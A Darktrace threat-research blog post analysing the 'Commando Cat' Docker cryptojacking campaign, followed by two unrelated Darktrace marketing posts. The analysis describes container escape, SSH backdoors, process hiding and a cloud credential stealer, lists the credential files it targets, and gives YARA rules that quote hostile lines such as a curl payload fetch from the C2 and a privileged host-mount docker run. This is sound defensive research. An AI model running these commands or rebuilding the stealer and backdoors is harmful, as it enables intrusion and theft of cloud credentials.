Blog
/
/
January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

More in this series

No items found.

Blog

/

Email

/

December 3, 2025

Darktrace Named as a Leader in 2025 Gartner® Magic Quadrant™ for Email Security Platforms

Default blog imageDefault blog image

Darktrace is proud to be named as a Leader in the Gartner® Magic Quadrant™ for Email Security Platforms (ESP). We believe this recognition reflects what our customers already know: our product is exceptional – and so is the way we deliver it.

In July 2025, Darktrace was named a Customers’ Choice in the Gartner® Peer Insights™ Voice of the Customer for Email Security, a distinction given to vendors who have scores that meet or exceed the market average for both axes (User Interest and Adoption, and Overall Experience). To us, both achievements are testament to the customer-first approach that has fueled our rapid growth. We feel this new distinction from Gartner validates the innovation, efficacy, and customer-centric delivery that set Darktrace apart.

A Gartner Magic Quadrant is a culmination of research in a specific market, giving you a wide-angle view of the relative positions of the market’s competitors. CIOs and CISOs can use this research to make informed decisions about which email security platform can best accomplish their goals. We encourage our customers to read the full report to get the complete picture.

This acknowledgement follows the recent recognition of Darktrace / NETWORK, also designated a Leader in the Gartner Magic Quadrant for Network Detection & Response and named the only Customers’ Choice in its category.

Why do we believe Darktrace is leading in the email security market?

Our relentless innovation which drives proven results  

At Darktrace we continue to push the frontier of email security, with industry-first AI-native detection and response capabilities that go beyond traditional SEG approaches. How do we do it?

  • With a proven approach that gets results. Darktrace’s unique business-centric anomaly detection catches advanced phishing, supply chain compromises, and BEC attacks – detecting them on average 13 days earlier than attack-centric solutions. That’s why 75% of our customers have removed their SEG and now rely on their native email security provider combined with Darktrace.
  • By offering comprehensive protection beyond the inbox. Darktrace / EMAIL goes further than traditional inbound filtering, delivering account and messaging protection, DLP, and DMARC capabilities, ensuring best-in-class security across inbound, outbound, and domain protection scenarios.  
  • Continuous innovation. We are ranked second highest in the Gartner Critical Capabilities research for core email security function, likely thanks to our product strategy and rapid pace of innovation. We’ve release major capabilities twice a year for nearly five years, including advanced AI models and expanded coverage for collaboration platforms.

We deliver exceptional customer experiences worldwide

Darktrace’s leadership isn’t just about excelling in technology, it’s about delivering an outstanding experience that customers value. Let’s dig into what makes our customers tick.

  • Proven loyalty from our base. Recognition from Gartner Peer Insights as a Customers’ Choice, combined with a 4.8-star rating (based on 340 reviews as of November 2025), demonstrates for us the trust of thousands of organizations worldwide, not just the analysts.  
  • Customer-first support. Darktrace goes beyond ticket-only models with dedicated account teams and award-winning service, backed by significant headcount growth in technical support and analytics roles over the past year.
  • Local expertise. With offices spanning continents, Darktrace is able to provide regional language support and tailored engagement from teams on the ground, ensuring personalized service and a human-first experience.

Darktrace enhances security stacks with a partner-first architecture

There are plenty of tools out there than encourage a siloed approach. Darktrace / EMAIL plays well with others, enhancing your native security provider and allowing you to slim down your stack. It’s designed to set you up for future growth, with:

  • A best-in-breed platform approach. Natively built on Self-Learning AI, Darktrace / EMAIL delivers deep integration with our / NETWORK, / IDENTITY, and / CLOUD products as part of a unified platforms – that enables and enhances comprehensive enterprise-wise security.
  • Optimized workflows. Darktrace integrates tightly with an extended ecosystem of security tools – including a strategic partnership with Microsoft enabling unified threat response and quarantine capabilities – bringing constant innovation to all of your SOC workflows.  
  • A channel-first strategy. Darktrace is making significant investments in partner-driven architectures, enabling integrated ecosystems that deliver maximum value and future-ready security for our customers.

Analyst recognized. Customer approved.  

Darktrace / EMAIL is not just another inbound email security tool; it’s an advanced email security platform trusted by thousands of users to protect them against advanced phishing, messaging, and account-level attacks.  

As a Leader, we believe we owe our positioning to our customers and partners for supporting our growth. In the upcoming years we will continue to innovate to serve the organizations who depend on Darktrace for threat protection.  

To learn more about Darktrace’s position as a Leader, view a complimentary copy of the Magic Quadrant report, register for the Darktrace Innovation Webinar on 9 December, 2025, or simply request a demo.

Gartner, Gartner® Magic Quadrant™ for Email Security Platforms, Max Taggett, Nikul Patel, 3 December 2025

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved. Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates and is used herein with permission. All rights reserved.

Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from Darktrace.

[related-resource]

Continue reading
About the author
Carlos Gray
Senior Product Marketing Manager, Email

Blog

/

/

December 2, 2025

Protecting the Experience: How a global hospitality brand stays resilient with Darktrace

Default blog imageDefault blog image

For the Global Chief Technology Officer (CTO) of a leading experiential leisure provider, security is mission critical to protecting a business built on reputation, digital innovation, and guest experience. The company operates large-scale immersive venues across the UK and US, blending activity-driven hospitality with premium dining and vibrant spaces designed for hundreds of guests. With a lean, centrally managed IT team responsible for securing locations worldwide, the challenge is balancing robust cybersecurity with operational efficiency and customer experience.

Brand buzz attracts attention – and attacks

Mid-sized, fast-growing hospitality organizations face a unique risk profile. When systems go down in a venue, the impact is immediate: hundreds of disrupted guest experiences, lost revenue during peak hours, and potential long-term reputation damage. Each time the organization opened a new venue, the surge of marketing buzz attracted attention in local markets and waves of sophisticated cyberattacks, including:

Phishing campaigns leveraging brand momentum to lure employees into clicking on malicious links.

AI-enhanced impersonation using advanced techniques to create AI-generated video calls and deep-researched, contextualized emails  

Fake domains targeting leadership with AI-generated messages that contained insider context gleaned from public information.

“Our endpoint security and antivirus tools were powerless against these sophisticated AI-powered campaigns. We didn’t want to manage incidents anymore. We wanted to prevent them from ever happening.”  - Global CTO

Proactive, preventative security with Darktrace AI

The company’s cybersecurity vision was clear: “Proactive, preventative – that was our mandate,” said the CTO. With a lean and busy IT group, the business evaluated several security solutions using deep-dive workshops. Darktrace proved the best fit for supporting the organization’s proactive mindset, offering:

  • Autonomy without added headcount: Darktrace provided powerful AI-driven detection and autonomous response functions with minimal manual oversight required.
  • Modular adoption: The company could start with core email and network protection and expand into cloud and endpoint coverage, aligning spend with growth.
  • Partnership and responsiveness: “We wanted people we trust, respect, and know will show up when we need them. Darktrace did just that,” said the CTO.
  • Affordability at scale: Darktrace offered reasonable upfront costs plus predictable, sustainable economics as the company and IT infrastructure expanded.  

“The combination of AI capabilities, a scalable model, and a strong engagement team tipped the balance in Darktrace’s favor, and we have not been disappointed,” said the CTO.

Phased deployment builds trust

To minimize disruption to critical hospitality systems like global Point of Sales (POS) terminals and Audio-Visual (AV) infrastructure, deployment was phased:

  1. Observation and human-led response: Initially, Darktrace was deployed in detection-only mode. Alerts were manually reviewed.
  2. Incremental autonomous response: Darktrace Autonomous Response was enabled on select models, taking action on low-risk scenarios. Higher-risk subnets and devices remained under human control.
  3. Full autonomous coverage: With tuning and reinforcement, autonomous response was expanded across domains, trusted to take decisive action in real time. Analysts retained the ability to review and contextualize incidents.

“Darktrace managed the rollout through detailed, professional, and responsive project management – ensuring a smooth, successful adoption and creating a standardized cybersecurity playbook for future venue launches,” said the CTO.  

AI delivers the outcomes that matter  

Measurable efficiency replaces endless alerts

Darktrace autonomous response significantly decreased false alerts and noise. “If it’s quiet, we’re confident there isn’t a problem,” said the CTO. Within six months, Darktrace conducted 3,599 total investigations, detected and contained 320 incidents indicative of an attack, resolved 91% of those events autonomously, and escalated only 9% to human analysts. The efficiency gains were enormous, saving analysts 740 hours on investigations within a single month.  

Precision AI turns inbox chaos into calm

Darktrace Self-Learning AI modeled sender/recipient norms, content/linguistic baselines, and communication patterns unique to the organization’s launch cadence, resulting in:

  • Automated holds and neutralizations of anomalous executive-style messages
  • Rapid detection of novel templates and tone shifts that deviated from the organization’s lived email graph, even when indicators were not yet on any feed
  • Downstream reduction in help-desk escalations tied to suspicious email

Full visibility fuels real-time response

Darktrace gives IT direct visibility without extra licensing, and it surfaces ground truth across every venue, including:

  • Device geolocation and placement drift: Darktrace exposed devices and users operating outside approved zones, prompting new segmentation and access-control policies.
  • Guest Wi-Fi realities: Darktrace AI uncovered high-risk activity on guest networks, like crypto-mining and dark-web traffic, driving stricter VLAN separation and access hygiene.
  • Lateral-movement containment: Autonomous response fenced suspicious activity in real time, buying time for human investigation while keeping POS and AV systems unaffected.

Smarter endpoints for a smarter network

Endpoints once relied on static agents effective only against known signatures. Darktrace’s behavioral models now detect subtle anomalies at the endpoint process level that EDRs often miss, such as misuse of legitimate applications (commonly used in living-off-the-land attacks), unapproved application usage and policy violations. This increases the accuracy and fidelity of network-based investigations by adding endpoint process context alongside existing EDR alerts.

Autonomous response for continuous compliance

Across PCI, GDPR, and cross-border privacy obligations, Darktrace’s native evidencing is helping the team demonstrate control rather than merely assert it:

  • Asset and flow awareness: Knowing “what is where” and “who talks to what” underpins PCI scoping and data-flow diagrams.
  • Layered safeguards: Showing autonomous prevention, network segmentation, and rapid containment supports risk registers and control attestations.
  • Audit-ready artifacts: Investigations and autonomous actions produce artifacts that “tick the box” without additional tooling.  

Defining the next era of resilience with AI

With rapid global expansion underway, the company is using its cybersecurity playbook to streamline and secure future venue launches. In the near term, IT is focused on strengthening prevention, using Darktrace insights to guide new policy updates and infrastructure changes like imposing stricter guest-network posture and refining venue device baselines.

For tech leaders charting their path to proactive cyber defense, the CTO stresses success won’t come from sidestepping AI, but from turning it into a core capability.

“AI isn’t optional – it’s operational. The real risk to your business is trying to out-scale automated adversaries with human speed alone. When applied to the right use case, AI becomes a catalyst for efficiency, resilience, and business growth.” - Global CTO
Continue reading
About the author
The Darktrace Community
Your data. Our AI.
Elevate your network security with Darktrace AI